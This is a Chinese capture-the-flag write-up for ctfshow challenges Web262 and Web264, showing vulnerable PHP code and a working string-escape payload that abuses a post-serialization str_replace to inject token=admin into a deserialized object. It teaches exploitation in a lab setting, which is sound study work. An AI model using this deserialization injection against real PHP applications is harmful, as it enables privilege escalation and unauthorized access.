当前位置: 首页 > article >正文

ctfshow(262,264)--反序列化漏洞--字符串逃逸

Web262

源代码:
index.php:

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php:

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }

代码审计:

index.php:
传参f,m,t,实例化message类的对象为msg。
msg序列化,并且将序列化字符串中的fuck字符全部替换为loveU字符,赋值给usmg。
setcookie函数设置cookie的名为msg,值为base64编码后的usmg

message.php:
当cookie被成功传入后,对cookie的值进行base64解码与反序列化。
若msg对象中的token值为admin,便输出flag.

思路:

本题我们能控制的参数只有f,m,t.
正常给成员变量赋值之后的序列化字符串是这样的:
在这里插入图片描述若我们给成员变量to赋值为3";s:5:"token";s:5:"admin";},序列化之后是这样:
在这里插入图片描述我们利用这种方式控制了token的值,将其修改为了admin。
但是此时to的值的长度为s:28:,因此在反序列化时还是不会将token的值识别为admin,而是user。
因此,我们要让s:28:"3";的双引号中的字符串数量与前面的数量匹配,就要用到字符串逃逸

函数str_replace(‘fuck’, ‘loveU’, serialize($msg)) ,将fuck替换为loveU,且是在序列化之后再进行替换,因此只会改变字符串的实际长度,但是不会改变表示字符串长度的数字。

// 替换前
s:2:"to";s:4:"fuck";
// 替换后
s:2:"to";s:4:"loveU";

每有一个fuck,双引号里的实际字符长度就可以多一个。
s:28:"3";中,实际长度为1,多出的长度为27个,所以我们添加27个fuck,就可以让数字与实际长度匹配,从而误导系统,将我们输入的token作为成员变量处理。

payload:

https://defdd8fc-439a-4f81-86c3-9c304ec64b7f.challenge.ctf.show/
?f=1
&m=2
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck3";s:5:"token";s:5:"admin";}

EXP:

传入f,m,t:

https://defdd8fc-439a-4f81-86c3-9c304ec64b7f.challenge.ctf.show/
?f=1
&m=2
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck3";s:5:"token";s:5:"admin";}

访问message.php,得到flag.

Web264

源代码:

error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php:

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

代码审计:

与上一题不同在于将Cookie改为了设置Session。
且message.php页面要求设置Cookie:msg的值,没有要求,随便输入即可。

思路:

与262相同。

EXP:

?f=1
&m=2
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck3";s:5:"token";s:5:"admin";}

然后在Cookie中设置msg=1后,访问message.php,得到flag.


http://www.kler.cn/news/365291.html

相关文章:

  • 【数据分享】全国各省份农业-瓜果类面积(1993-2018年)
  • 内网穿透:如何借助Cloudflare连接没有公网的电脑的远程桌面(RDP)
  • 2024 信友队 noip 冲刺 9.1
  • 爬虫结合项目实战
  • Android 自定义 Dialog 实现列表 单选,多选,搜索
  • 电路中的电源轨及地的区别和处理
  • LeetCode Hot 100:图论
  • 昇思MindSpore进阶教程--三方硬件对接
  • Windchill性能优化篇之分页查询
  • 操作系统笔记(二)进程,系统调用,I/O设备
  • 使用LangGraph构建多Agent系统架构!
  • C++20中头文件syncstream的使用
  • JavaScript 有哪些学习资源
  • Rust使用config加载Toml配置文件
  • leetcode-75-颜色分类
  • 为Windows Terminal 配置zsh + Oh-My-Zsh!
  • 探索 SVG 创作新维度:svgwrite 库揭秘
  • 力扣80:删除有序数组中重复项
  • vue2+elementui日期选择器
  • UI 提供的 progress-step 要怎么实现?
  • 如何使用gitlab切换分支
  • 材质变体 PSO学习笔记
  • Excel重新踩坑3:条件格式;基本公式运算符;公式中的单元格引用方式;公式菜单栏其他有用的功能说明;
  • SSH 的 N 大黑科技玩法
  • 力扣 困难 52.N皇后II
  • 线性可分支持向量机的原理推导 9-28支持向量机优化中的可行性条件 公式解析